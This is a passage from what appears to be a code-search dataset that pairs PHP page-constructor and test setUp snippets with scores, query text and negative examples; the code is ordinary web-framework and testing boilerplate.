file_get_contents(\"pageParts/end.php\");\n\t}", "public function __construct($title) {\n $this->title = $title;\n }", "public function __construct()\n\t{\n\t\t$doc = FDocument::getConfig();\n\t\t$this->base_dir = $doc->get('base_dir').$this->baseTemplate.DS.$doc->get('template');\n\t\t$this->base_url = $doc->get('base').$this->baseTemplate.DS.$doc->get('template').DS;\n\t\t$this->title\t= $doc->get('title');\n\t}", "public function setPageTitle($title) {\n $this->configuration['page_title'] = $title;\n return $this;\n }", "function setPageTitle($pageTitle)\n\t{\n\t\t$this->pageTitle = $pageTitle;\n\t}", "public function __construct() {\r\n\t\t$this->page = isset($_GET['page']) ? $_GET['page'] : null;\r\n\t}", "public function __construct($title = '', $type = 'about:blank')\n {\n if ($title) {\n $this->title = $title;\n }\n if ($type) {\n $this->type = $type;\n }\n }", "public function __construct($title)\n {\n $this->title = $title;\n }", "public function init()\n {\n\t\t$this->view->headTitle(Zend_Registry::get('Default Page Title'));\n\t\t$this->view->headTitle()->prepend('Partners');\n }", "public function __construct()\n {\n parent::__construct();\n $this->applicationDir = null;\n $this->pageName = null;\n $this->container = null;\n $this->pageConfTransformers = [];\n }", "public function setPageTitle($pageTitle) {\n $this->pageTitle = $pageTitle;\n }", "function __construct() {\n parent::__construct();\n $this->data = array();\n $this->data['title'] = ''; // our default title\n $this->errors = array();\n $this->data['pageTitle'] = 'welcome'; // our default page\n \n if(!isset($_SESSION['defaultToggles']))\n {\n $_SESSION['defaultToggles'] = '1';\n $_SESSION['order'] = 'playerLastName';\n $_SESSION['layout'] = 'table';\n $_SESSION['edit'] = 'editOff';\n }\n }", "protected function _construct()\r\n {\r\n parent::_construct();\r\n $this->_controller = 'adminhtml_config_cms_page';\r\n $this->_blockGroup = 'TransPerfect_GlobalLink';\r\n $this->_headerText = __('CMS Page Configuration');\r\n }", "public function init()\n {\n \tparent::init();\n \t$this->view->headTitle('Wedding Cakes');\n }", "protected function setPageTitle() {\r\n\t\t$pageTitleText = (empty($this->settings['news']['semantic']['general']['pageTitle']['useAlternate'])) ? $this->newsItem->getTitle() : $this->newsItem->getAlternativeTitle();\r\n\t\t$pageTitleAction = $this->settings['news']['semantic']['general']['pageTitle']['action'];\r\n\r\n\t\tif (!empty($pageTitleAction)) {\r\n\t\t\tswitch ($pageTitleAction) {\r\n\t\t\t\tcase 'prepend':\r\n\t\t\t\t\t$pageTitleText .= ': ' . $GLOBALS['TSFE']->page['title'];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'append':\r\n\t\t\t\t\t$pageTitleText = $GLOBALS['TSFE']->page['title'] . ': ' . $pageTitleText;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tdefault:\r\n\t\t\t}\r\n\t\t\t$this->pageTitle = html_entity_decode($pageTitleText, ENT_QUOTES, \"UTF-8\");\r\n\t\t\t$GLOBALS['TSFE']->page['title'] = $this->pageTitle;\r\n\t\t\t$GLOBALS['TSFE']->indexedDocTitle = $this->pageTitle;\r\n\t\t}\r\n\t}", "final public function setPageTitle($title) {\n if ($title === null) {\n return;\n }\n if ($this->title !== null) {\n trigger_warning(\"Setting page title more than once! Was {$this->title} but now is $title\", E_USER_WARNING);\n }\n $this->title = $title;\n return $this;\n }", "public function __construct()\n {\n parent::__construct();\n\n $stripeCredentials = PaymentGatewayCredentials::first();\n\n /** setup Stripe credentials **/\n Stripe::setApiKey($stripeCredentials->stripe_secret);\n $this->pageTitle = 'Stripe';\n }", "function __construct(/*$title*/) { /*$this->title = $title;*/ }", "function __construct()\n {\n parent::__construct();\n\n // Add JS and StyleSheet to header\n PageLayout::addScript($this->getPluginURL() . '/javascript/forum.js');\n PageLayout::addStylesheet($this->getPluginURL() . '/stylesheets/forum.css');\n \n // JQuery-Tutor JoyRide JS and CSS\n PageLayout::addScript($this->getPluginURL() . '/javascript/jquery.joyride.js');\n PageLayout::addStylesheet($this->getPluginURL() . '/stylesheets/joyride.css');\n \n // Set helpkeyword for Stud.IP's user-documentation\n PageLayout::setHelpKeyword('Basis.Forum');\n }", "public function __construct() {\n\t\tparent::__construct();\n\t\t$this->title = __( 'Manual Payment Gateway 3.0', 'wpsc' );\n\t}", "function __construct($title)\n {\n $this->title = $title;\n $this->head_tags = array();\n $this->body = '';\n if(isset($GLOBALS['BROWSCAP_CACHE']))\n {\n $this->bc = new Browscap($GLOBALS['BROWSCAP_CACHE']);\n }\n else\n {\n $this->bc = new Browscap('/var/php_cache/browser');\n }\n $this->bc->doAutoUpdate = false;\n $this->bc->lowercase = true;\n $this->browser = $this->getBrowser();\n $this->import_support = false;\n \n $browser_name = $this->getBrowserName();\n if($browser_name === 'IE' && $this->getBrowserMajorVer() <= 7)\n {\n header( 'Location: /badbrowser.php' ) ;\n }\n else if($browser_name === 'Chrome' && $this->getBrowserMajorVer() >= 36)\n {\n $this->import_support = true;\n }\n }", "protected function setupPage()\n {\n // Yes, hardcoded on purpose\n $this->pageRenderer->setXmlPrologAndDocType('<!DOCTYPE html>');\n $this->pageRenderer->setCharSet('utf-8');\n $this->pageRenderer->setLanguage($GLOBALS['LANG']->lang);\n $this->pageRenderer->addMetaTag('<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">');\n }", "public function __construct($args = [])\n {\n parent::__construct($args);\n\n // Add common data needed all pages\n $this->setBase();\n }", "public function __construct ()\n {\n if ($this->webIsEnabled()) {\n $this->thePage();\n } else {\n if (! Helper::urlContains('_administrator')) {\n echo '<p>Sorry we will be back soon.</p>';\n } else {\n $this->thePage();\n }\n }\n }", "function __construct() {\n parent::__construct();\n // $this->load->helper('validate'); // load the helper file 'validate_helper.php'\n $this->data = array();\n $this->data['title'] = \"Northcoast Shipping Agency\"; // references the title of the entire website\n }", "public function setPageTitle($title) {\n\t\t$this->pageTitle = $title;\n\t\treturn $this;\n\t}", "public function initPage() {}", "public function initPage() {}", "public function __construct() {\n parent::__construct();\n // Verify user login\n if(!$this->session->gets('ameriaa_user_id')) \n $this->redirect('index');\n // Set meta data\n $metaData = array();\n $metaData['title'] = \"News\";\n $metaData['description'] = \"News\";\n $this->view->meta = $metaData; \n }", "public function setPageTitle($page_name);", "public function setPageTitle($page_name);", "function __construct($title=\"\")\n\t{\n\t\t//class constructor, this builds the top of the HTML page\n\t\t//each time the class is constructed\n\t\t$this->tag = \"<html>\";\n\t\t$this->tag = \"<HEAD>\";\n\t\t$this->tag = \"<title> $title </title>\";\n\t\t$this->tag .= \"</head> <body>\";\n\t\techo $this->tag;\n\t\treturn ;\n\t}", "public function init()\n {\n $this->view->pageTitle = 'Sender:';\n $this->view->fullUrl = $this->view->serverUrl() . $this->view->baseUrl();\n }", "public static function init() {\n\t\tif (self::$_initialized) {\n\t\t\treturn;\n\t\t}\n\t\tparent::setInstance(new Page());\n\t\tself::$_initialized = true;\n\t}", "public function __construct () {\n $this->template = new PageTemplate ();\n }", "public function __construct () {\n $this->template = new PageTemplate ();\n }", "public function __construct () {\n $this->template = new PageTemplate ();\n }", "function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->data = array ();\n\t\t$this->data['title'] = 'COMP4711 - Webapp Development';\n\t\t$this->data['coursetitle'] = 'COMP4711 - Webapp Development';\n\t\t$this->errors = array ();\n\t\t$this->data['datapath'] = DATAPATH;\n\t\t$this->template = 'theme/template';\n\t}", "private function __construct()\n {\n // Set plugin file variables\n $this->file = __FILE__;\n $this->basename = plugin_basename($this->file);\n $this->plugin_dir = plugin_dir_path($this->file);\n $this->plugin_url = plugin_dir_url($this->file);\n\n // Load textdomain\n load_plugin_textdomain(self::TEXT_DOMAIN, false, dirname($this->basename) . '/languages');\n\n $this->settings = new SettingsPage();\n }", "protected function __construct() {\n\t\t\t$this->settings_page_id = 'permalink';\n\n\t\t\t// This is the 'option_name' key used in the wp_options table.\n\t\t\t$this->setting_option_key = 'learndash_settings_permalinks';\n\n\t\t\t// This is the HTML form field prefix used.\n\t\t\t$this->setting_field_prefix = 'learndash_settings_permalinks';\n\n\t\t\t// Used within the Settings API to uniquely identify this section.\n\t\t\t$this->settings_section_key = 'learndash_settings_permalinks';\n\n\t\t\t// Section label/header.\n\t\t\t$this->settings_section_label = __( 'LearnDash Permalinks', 'learndash' );\n\n\t\t\t// Used to show the section description above the fields. Can be empty.\n\t\t\t$this->settings_section_description = __( 'Controls the URL slugs for the custom posts used by LearnDash.', 'learndash' );\n\n\t\t\tadd_action( 'admin_init', array( $this, 'admin_init' ) );\n\n\t\t\tparent::__construct();\n\t\t\t$this->save_settings_fields();\n\t\t}", "public function __construct()\n\t{\n\t\t// Go back to page 1 when adding/removing a facet option\n\t\t$this->unwantedUrlParameters = array(\n\t\t\tMage::getBlockSingleton('page/html_pager')->getPageVarName() => null // reset page browser\n\t\t);\n\n\t\tparent::__construct();\n\t}", "public function __construct() {\n\t\t\t$this->parent_menu_page_url = 'admin.php?page=learndash_lms_settings';\n\t\t\t$this->menu_page_capability = LEARNDASH_ADMIN_CAPABILITY_CHECK;\n\t\t\t$this->settings_page_id = 'learndash_lms_settings_custom_labels';\n\t\t\t$this->settings_page_title = esc_html__( 'Custom Labels', 'learndash' );\n\t\t\t$this->settings_tab_title = $this->settings_page_title;\n\t\t\t$this->settings_tab_priority = 20;\n\t\t\t$this->show_quick_links_meta = false;\n\n\t\t\tparent::__construct();\n\t\t}", "public function __construct()\n\t{\n\t\t// Initialisation du contenu HTML du module\n\t\t$this->contenuHTML = \"\";\n\t\t// Le niveau d'indentation d'une page neuve est 0\n\t\t$this->niveauIndentation = 0;\n\t}", "protected function setupPage() {}", "public function __construct() {\n\t\t\t// create new page object\n\t\t\t$this->page = new HtmlPage('Page conjunction');\n\n\t\t\t// create new database object\n\t\t\t$this->db = new Database();\n\t\t\t\n\t\t\t// create new request validator\n\t\t\t$this->rq = new RequestValidator();\n\t\t\t\n\t\t\t// execute tool\n\t\t\t$this->run();\n\t\t\t$this->finish();\n\t\t}", "public function __construct(\n $sitename = \"No Site Name\",\n $titleClass = ''\n ) {\n $this->sitename = $sitename;\n $this->titleClass = $titleClass;\n \n }", "function initialize () {\n $this->set_openingtag ( \"<TITLE[attributes]>\" );\n\t $this->set_closingtag ( \"</TITLE>\" );\n }", "protected function _construct()\n {\n parent::_construct();\n $this->setTemplate(self::TEMPLATE);\n }", "public function __construct(){\n\t\t$this->registry = Registry::getRegistry();\n\t\t$this->config = $this->registry->get(\"config\");\n\n\t\t$this->head_data['meta']['author'] = 'Lukas Hajek & Karel Juricka';\n\t\t$this->head_data['meta']['description'] = \"Popis webu\";\n\t\t$this->head_data['title'] = 'SmartCMS';\n\n\t}", "public function __construct(Page $page)\n {\n parent::__construct();\n $this->page = $page;\n }", "function __construct() {\n\t\t$this->rootPath = $_SERVER['DOCUMENT_ROOT'].'/eclub/game/eClubProject/';\n $this->pageName = '';\n }", "public function __construct($page)\n {\n $this->page = $page;\n }", "function __construct()\r\n\t{\r\n\t\t$this->cstrTitle=\"\";\r\n\t}", "function __construct()\n\t{\n\t\t$this->_start_time = get_microtime();\n\n\t\tif (DEBUG)\n\t\t{\n\t\t\tdwrite(\"**[Page processing begin]**\");\n\n\t\t\tif (conf('page.show_vars', false))\n\t\t\t{\n\t\t\t\tdwrite_msg('GET', dump_str($_GET));\n\t\t\t\tdwrite_msg('POST', dump_str($_POST));\n\t\t\t\tdwrite_msg('SESSION', dump_str($_SESSION));\n\t\t\t\tdwrite_msg('FILES', dump_str($_FILES));\n\t\t\t\tdwrite_msg('COOKIE', dump_str($_COOKIE));\n\t\t\t}\n\t\t}\n\n\t\t$this->fill_templates_paths();\n\t}", "public function __construct(Page $page)\n {\n $this->page = $page;\n }", "public function __construct() {\n // Pass in the base for all the views\n parent::__construct();\n\n $this->view_base = 'settings/authorized-users/';\n $this->title = _('Authorized Users') . ' | ' . _('Settings');\n }", "public function __construct()\n {\n $this->site_name = isset(getAppConfig()->site_name)?ucfirst(getAppConfig()->site_name):'';\n $this->middleware('auth');\n SEOMeta::setTitle($this->site_name);\n SEOMeta::setDescription($this->site_name);\n SEOMeta::addKeyword($this->site_name);\n OpenGraph::setTitle($this->site_name);\n OpenGraph::setDescription($this->site_name);\n OpenGraph::setUrl($this->site_name);\n Twitter::setTitle($this->site_name);\n Twitter::setSite('@'.$this->site_name);\n App::setLocale('en');\n }", "public function __construct() {\n parent::__construct('div', new TitleBarContentArea('left'), new TitleBarContentArea('right'));\n $this->cssClasses()->lock('title-bar');\n }", "public function __construct(string $title)\n {\n $this->title = $title;\n }", "public function __construct($p_sPage){\n $this->page($p_sPage);\n }", "public function __construct()\n {\n SEO::setTitle('Las mejores escort de Concepción - PlacerConce.cl');\n SEO::setDescription('Las mejores escort, escorts, prostitutas, putas y damas de compañia de concepcion te esperan');\n SEO::opengraph()->setUrl('https://www.placerconce.cl/');\n SEO::setCanonical('https://www.placerconce.cl/');\n SEOMeta::addKeyword(['escort', 'escorts', 'prostitutas' , 'damas de compañia', 'concepcion', 'escort concepcion', 'escorts en concepcion', 'postitutas en concepcion', 'damas de compañia en concepcion', 'conce']);\n\n OpenGraph::setDescription('Las mejores escort, escorts, prostitutas, putas y damas de compañia de concepcion te esperan');\n OpenGraph::setTitle('Las mejores escort de Concepción - PlacerConce.cl');\n OpenGraph::setUrl('https://www.placerconce.cl/');\n }", "public function __construct() {\n // they are a list of arrays each with two values, type and content\n // type may be either \"text\" or \"file\" depending on whether the header information\n // is provided literally (the \"text\" option) or within a file (the \"file\" option)\n // initialize each with blank text\n \n echo \".....constructing site<br />\";\n\n $this->clear_headers();\n $this->clear_footers();\n $this->clear_page();\n }", "function __construct()\n {\n $this->content = \"\";\n $this->title = \"\";\n $this->size = \"\";\n $this->panelID = DOM_id::getID();\n $this->bodyID = DOM_id::getID();\n $this->headID = DOM_id::getID();\n $this->buttonID = DOM_id::getID();\n }", "public function init()\n {\n\t\t$this->view->titleBrowser = 'e-Transporte';\n }", "public function __construct() {\n\t\tparent::__construct( 'CreatePage', 'createpage' );\n\t}", "public function __construct() {\n\t\t\t$this->parent_menu_page_url = 'edit.php?post_type=sfwd-topic';\n\t\t\t$this->menu_page_capability = LEARNDASH_ADMIN_CAPABILITY_CHECK;\n\t\t\t$this->settings_page_id = 'topics-options';\n\t\t\t$this->settings_page_title = sprintf(\n\t\t\t\t// translators: placeholder: Topic.\n\t\t\t\tesc_html_x( '%s Options', 'placeholder: Topic', 'learndash' ),\n\t\t\t\tLearnDash_Custom_Label::get_label( 'topic' )\n\t\t\t);\n\n\t\t\tparent::__construct();\n\t\t}", "function __construct() {\n\n\t\t// haven't title in any location\n\t\t$this->with_title = true;\n\n\t\tparent::__construct(\n\t\t\t'bs-social-share',\n\t\t\tsprintf( __( '%s - Social Share', 'publisher' ), publisher_white_label_get_option( 'publisher' ) ),\n\t\t\tarray( 'description' => __( 'Social Share Widget', 'publisher' ) )\n\t\t);\n\t}", "public function init() {\n \tif (array_key_exists('applicationName', $this->_strings)) {\n \t\t$this->view->headTitle($this->_strings['applicationName']);\n \t\t$this->view->headerTitle = $this->_strings['applicationName'];\n \t}\n }", "function __construct($rawTitle) {\n $this->rawTitle=$rawTitle;\n $this->setInfo();\n }", "public function __construct($title = '', $bodyClass=\"bg-gray-100\")\n {\n $this->title = $title;\n $this->bodyClass = $bodyClass;\n }", "public function Page(){\n parent::__construct();\n $this->template_dir = DOCUMENT_ROOT.'/templates/';\n $this->compile_dir = DOCUMENT_ROOT.'/smarty/';\n //$this->caching = Smarty::CACHING_LIFETIME_CURRENT;\n $this->caching = Smarty::CACHING_OFF;\n $this->debugging = false;\n }", "public function __construct() \n\t{\n\t\t// setup vars\n\t\t$this->title = Plugin::getSetting('blogtitle', 'mbblog');\n\t\t$this->breadcrumb = $this->title;\n\t\t$this->slug = Plugin::getSetting('blogpath', 'mbblog').'/';\n\t\n\t\tif(defined(\"CMS_BACKEND\"))\n\t\t{\n\t\t\tAuthUser::load();\n\t\t\tif ( ! AuthUser::isLoggedIn()) {\n\t\t\t\tredirect(get_url('login'));\n\t\t\t}\n\t\t\t$this->setLayout('backend');\n\t\t\t$this->assignToLayout('sidebar', new View('../../plugins/mbblog/views/<?php echo ADMIN_DIR; ?>/sidebar'));\n\t\t} else\n\t\t{\n\t\t\t$this->parent = Page::find('/');\n\t\t\t$this->setLayout('wolf');\n\t\t}\n\t}", "function __construct(){\n parent::__construct();\n // Nombramos la página que hemos de producir\n $this->pagina = 'directorio';\n }", "function __construct(){\n // This object is passed to all of your pages.\n // Access it with $handler\n }", "public function page_init() {\n }", "public function __construct()\n {\n $this->rootPages = $this->generatePageHierarchy();\n }", "public function __construct() {\n $this->dbh = self::mysqlConnect();\n $this->locale = new PageLocale($this);\n $this->details = new PageDetails($this);\n $this->dictionary = new PageDictionary($this);\n }", "public function __construct() {\r\n if(!$this->isAdmin()) {\r\n $this->checkAdmin();\r\n $this->displayLogin();\r\n } else {\r\n $this->displayPage();\r\n }\r\n }", "function set_title($title){\r\n\t\t$this->_title = $title;\r\n\t}", "public function __construct() {\n $this->setTitle(\"Felis Investigations\");\n $this->addLink(\"login.php\", \"Log in\");\n }", "function __construct()\n {\n global $status, $page;\n parent::__construct(array(\n \n 'singular' => 'project',\n 'plural' => 'projects',\n ));\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->setCurrentPage('backups-statuses');\n $this->addBreadcrumbRoute(trans('backups::statuses.titles.backups'), 'admin::backups.statuses.index');\n }", "function setTitle($title) {\r\n $this->_title = $title;\r\n }", "function setTitle($title) {\r\n $this->_title = $title;\r\n }", "public function init() {\n\n //set title\n $this->title = get_string('dd_content', 'block_dd_content');\n\n }", "public function __construct() {\n\t\t$this->page \t= new Page;\n\t\t$this->url \t\t= new Url;\n\t\t$this->session \t= new Session;\n\t\t$this->paging \t= new Paging;\n\t}" ]
[ "0.8189289", "0.7954899", "0.75744", "0.7391646", "0.7362861", "0.7348343", "0.72831964", "0.7164582", "0.7143035", "0.71382046", "0.71168077", "0.7103178", "0.70904255", "0.7046853", "0.7042016", "0.7032076", "0.7030794", "0.7029247", "0.6998853", "0.6990748", "0.69450986", "0.6938575", "0.6928261", "0.6921591", "0.69156444", "0.69148445", "0.69035953", "0.68943334", "0.6880368", "0.6875529", "0.6874905", "0.68669325", "0.6854245", "0.68261135", "0.6821907", "0.6821856", "0.68207824", "0.68048596", "0.6766568", "0.67642397", "0.6757018", "0.6753723", "0.6753723", "0.67509747", "0.674958", "0.674958", "0.6737497", "0.6733545", "0.67299604", "0.672608", "0.672608", "0.672608", "0.67166114", "0.6716092", "0.67153835", "0.67069966", "0.6705497", "0.6704183", "0.6701882", "0.66970396", "0.66879904", "0.66723937", "0.6668313", "0.6658213", "0.66549593", "0.6633346", "0.6630799", "0.6622963", "0.66211164", "0.6606704", "0.660112", "0.6593119", "0.6580976", "0.6580011", "0.6563256", "0.65617186", "0.655824", "0.6557525", "0.65565807", "0.65524256", "0.6550426", "0.6550373", "0.65495664", "0.6536225", "0.65343434", "0.6521427", "0.65192866", "0.6510799", "0.6509302", "0.64983577", "0.64779776", "0.6475835", "0.6475401", "0.6472203", "0.6467466", "0.64638364", "0.6463147", "0.64371276", "0.64371276", "0.6436897", "0.6434702" ]
0.0
-1
Sets up the fixture. This method is called before a test is executed.
public function setUp() { $this->contentObject = $this->getObjectForTrait(ContentTrait::class); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function setUp()\n {\n $this->fixture = new Record();\n }", "protected function setUp()\n {\n $this->fixture = new Configuration();\n }", "protected function fixture_setup() {\r\n $this->service = SQLConnectionService::get_instance($this->configuration);\r\n test_data_setup($this->service);\r\n }", "public function setUp() {\n\t\t$options = [\n\t\t\t'db' => [\n\t\t\t\t'adapter' => 'Connection',\n\t\t\t\t'connection' => $this->_connection,\n\t\t\t\t'fixtures' => $this->_fixtures\n\t\t\t]\n\t\t];\n\n\t\tFixtures::config($options);\n\t\tFixtures::save('db');\n\t}", "public function setUp()\n {\n $this->fixture = new Finder();\n }", "protected function setUp()\n {\n $this->fixture = new Parameter();\n }", "public function setup()\n {\n parent::setup();\n \n // Build some fuxture values\n $this->userName = 'fixture';\n $this->firstName = 'Test';\n $this->lastName = 'User';\n $this->email = '[email protected]';\n $this->password = '123123';\n $this->roleName = 'Fixture';\n // Generate the fixture\n $this->createAdminUserFixture(); \n }", "public function setUp()\n {\n $folder = dirname(__DIR__) . '/fixtures';\n\n $this->keyVal(true);\n $this->_mutableLoader = new Loader($folder);\n $this->_immutableLoader = new Loader($folder, true);\n }", "public function setUp(): void\n {\n $this->fixture = new Finder();\n }", "function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t\n\t\t// Set up fixture\n\t\tif($fixtureFile) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(),0,5) != 'tmpdb') {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\t// This code is a bit misplaced; we want some way of the whole session being reinitialised...\n\t\t\tVersioned::reading_stage(null);\n\n\t\t\tsingleton('DataObject')->flushCache();\n\n\t\t\t$dbadmin = new DatabaseAdmin();\n\t\t\t$dbadmin->clearAllData();\n\t\t\t\n\t\t\t// We have to disable validation while we import the fixtures, as the order in\n\t\t\t// which they are imported doesnt guarantee valid relations until after the\n\t\t\t// import is complete.\n\t\t\t$validationenabled = DataObject::get_validation_enabled();\n\t\t\tDataObject::set_validation_enabled(false);\n\t\t\t$this->fixture = new YamlFixture($fixtureFile);\n\t\t\t$this->fixture->saveIntoDatabase();\n\t\t\tDataObject::set_validation_enabled($validationenabled);\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t}", "protected function postFixtureSetup()\n {\n }", "public function setUp() {\n $this->fixture= new TreeParser();\n }", "public function setupFixtures()\n {\n if ($this->_fixtures === null) {\n $loadedFixtures = [];\n foreach ($this->fixtures() as $fixtureClass) {\n $loadedFixtures[$fixtureClass] = Yii::createObject($fixtureClass);\n }\n\n $this->_fixtures = $loadedFixtures;\n }\n }", "protected function setUp(): void\n {\n $this->fixture = new TestSubjectDescriptor();\n }", "protected function setUp(): void\n {\n \tparent::setUp();\n\n \t$this->authorize();\n\n \t$this->loadFixtures([\n \t\t'product'=>ProductFixture::class\n \t]);\n }", "protected function setUp()\n {\n $this->fixture = new NamespaceDescriptor();\n }", "protected function setUp(): void\n {\n parent::setUp();\n\n $this->load();\n }", "protected function setUp()\n {\n $this->fixture = new DTAZV();\n $DTAZV_account = array(\n 'name' => \"Senders Name\",\n 'additional_name' => '',\n 'bank_code' => \"16050000\",\n 'account_number' => \"3503007767\",\n );\n $this->fixture->setAccountFileSender($DTAZV_account);\n }", "public function setUp()\n {\n $this->loadFixtures([]);\n }", "public function setUp() {\n $this->fixture= new FreeTdsLookup($this->getClass()->getPackage()->getResourceAsStream('freetds.conf'));\n }", "public function setUp() {\r\n // and doing it every test slows the tests down to a crawl\r\n $this->sharedFixture = new MovieLensDataSet(DATA_DIR);\r\n }", "function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// i18n needs to be set to the defaults or tests fail\n\t\ti18n::set_locale(i18n::default_locale());\n\t\ti18n::set_date_format(null);\n\t\ti18n::set_time_format(null);\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\t\t\n\t\tif(class_exists('RootURLController')) RootURLController::reset();\n\t\tif(class_exists('Translatable')) Translatable::reset();\n\t\tVersioned::reset();\n\t\tDataObject::reset();\n\t\tif(class_exists('SiteTree')) SiteTree::reset();\n\t\tHierarchy::reset();\n\t\tif(Controller::has_curr()) Controller::curr()->setSession(new Session(array()));\n\t\t\n\t\t$this->originalTheme = SSViewer::current_theme();\n\t\t\n\t\tif(class_exists('SiteTree')) {\n\t\t\t// Save nested_urls state, so we can restore it later\n\t\t\t$this->originalNestedURLsState = SiteTree::nested_urls();\n\t\t}\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t$prefix = defined('SS_DATABASE_PREFIX') ? SS_DATABASE_PREFIX : 'ss_';\n\n\t\t// Set up fixture\n\t\tif($fixtureFile || $this->usesDatabase || !self::using_temp_db()) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(), 0, strlen($prefix) + 5) != strtolower(sprintf('%stmpdb', $prefix))) {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\tsingleton('DataObject')->flushCache();\n\t\t\t\n\t\t\tself::empty_temp_db();\n\t\t\t\n\t\t\tforeach($this->requireDefaultRecordsFrom as $className) {\n\t\t\t\t$instance = singleton($className);\n\t\t\t\tif (method_exists($instance, 'requireDefaultRecords')) $instance->requireDefaultRecords();\n\t\t\t\tif (method_exists($instance, 'augmentDefaultRecords')) $instance->augmentDefaultRecords();\n\t\t\t}\n\n\t\t\tif($fixtureFile) {\n\t\t\t\t$pathForClass = $this->getCurrentAbsolutePath();\n\t\t\t\t$fixtureFiles = (is_array($fixtureFile)) ? $fixtureFile : array($fixtureFile);\n\n\t\t\t\t$i = 0;\n\t\t\t\tforeach($fixtureFiles as $fixtureFilePath) {\n\t\t\t\t\t// Support fixture paths relative to the test class, rather than relative to webroot\n\t\t\t\t\t// String checking is faster than file_exists() calls.\n\t\t\t\t\t$isRelativeToFile = (strpos('/', $fixtureFilePath) === false || preg_match('/^\\.\\./', $fixtureFilePath));\n\t\t\t\t\tif($isRelativeToFile) {\n\t\t\t\t\t\t$resolvedPath = realpath($pathForClass . '/' . $fixtureFilePath);\n\t\t\t\t\t\tif($resolvedPath) $fixtureFilePath = $resolvedPath;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$fixture = new YamlFixture($fixtureFilePath);\n\t\t\t\t\t$fixture->saveIntoDatabase();\n\t\t\t\t\t$this->fixtures[] = $fixture;\n\n\t\t\t\t\t// backwards compatibility: Load first fixture into $this->fixture\n\t\t\t\t\tif($i == 0) $this->fixture = $fixture;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->logInWithPermission(\"ADMIN\");\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t\tEmail::send_all_emails_to(null);\n\t\t\n\t\t// Preserve memory settings\n\t\t$this->originalMemoryLimit = ini_get('memory_limit');\n\t}", "final public function setUp( )\n {\n $this->_initContext();\n\n $this->_assertTestDatabaseConnection();\n $this->_assertTestUploadsDir();\n\n $configuration = $this->getApplicationConfiguration();\n\n $this->_fixtureLoader = new Test_FixtureLoader($configuration);\n $this->_state = new Test_State($configuration);\n\n /* Set custom sfConfig values here. */\n sfConfig::add(array(\n 'sf_fixture_dir' =>\n $this->_fixtureLoader->getFixtureDir(false, $this->_plugin)\n ));\n\n $this->_state\n ->flushDatabase($this->_alwaysRebuildDB)\n ->flushUploads()\n ->flushConfigs();\n\n $this->_init();\n $this->_setUp();\n }", "protected function setUp()\n {\n $this->fixture = new TraitDescriptor();\n }", "protected function setUp() {\n\t\tparent::setUp();\n\n\t\t$this->object = new ControllerFixture([\n\t\t\t'module' => 'module',\n\t\t\t'controller' => 'controller',\n\t\t\t'action' => 'action',\n\t\t\t'args' => [100, 25]\n\t\t]);\n\n\t\t// Used by throwError()\n\t\tTiton::router()->initialize();\n\t}", "protected function setUp()\r\n {\r\n self::bootKernel();\r\n\r\n //Apply the primer\r\n DatabasePrimer::prime(self::$kernel);\r\n\r\n //Set entity manager\r\n $this->em = DatabasePrimer::$entityManager;\r\n\r\n $fixture = new ProfileFixtures();\r\n $fixture->load($this->em);\r\n }", "public function setUp()\n {\n $this->fixtures('articles');\n }", "public function setUp() {\n $this->fixture= new RestJsonSerializer();\n }", "public function setUp()\n\t{\n\t\tparent::setUp();\n if(is_array($this->fixtures)){\n foreach($this->fixtures as $fixtureName=>$modelClass)\n {\n $tableName=WF_Table::model($modelClass)->tableName();\n $this->resetTable($tableName);\n $rows=$this->loadFixtures($modelClass, $tableName);\n if(is_array($rows) && is_string($fixtureName))\n {\n $this->_rows[$fixtureName]=$rows;\n if(isset($modelClass))\n {\n foreach(array_keys($rows) as $alias)\n $this->_records[$fixtureName][$alias]=$modelClass;\n }\n }\n }\n }\n }", "protected function setUp()\n {\n $this->getData();\n $this->getDefaultValue();\n\n parent::setUp(); // TODO: Change the autogenerated stub\n }", "public function setUp()\n {\n $this->fixture = new SetShippingMethod();\n }", "public function setUp()\n {\n parent::setUp();\n $this->prepareForTests();\n }", "protected function setUp()\n {\n parent::setUp();\n $this->object = TemplateHelper::create();\n }", "protected function setUp()\n {\n parent::setUp();\n $this->testData = ['test' => 'test'];\n }", "protected function setUp() { }", "protected function setUp() { }", "public function setUp(): void\n {\n parent::setUp();\n $this->setUpFaker();\n }", "protected function setUp(): void\n {\n parent::setUp();\n\n 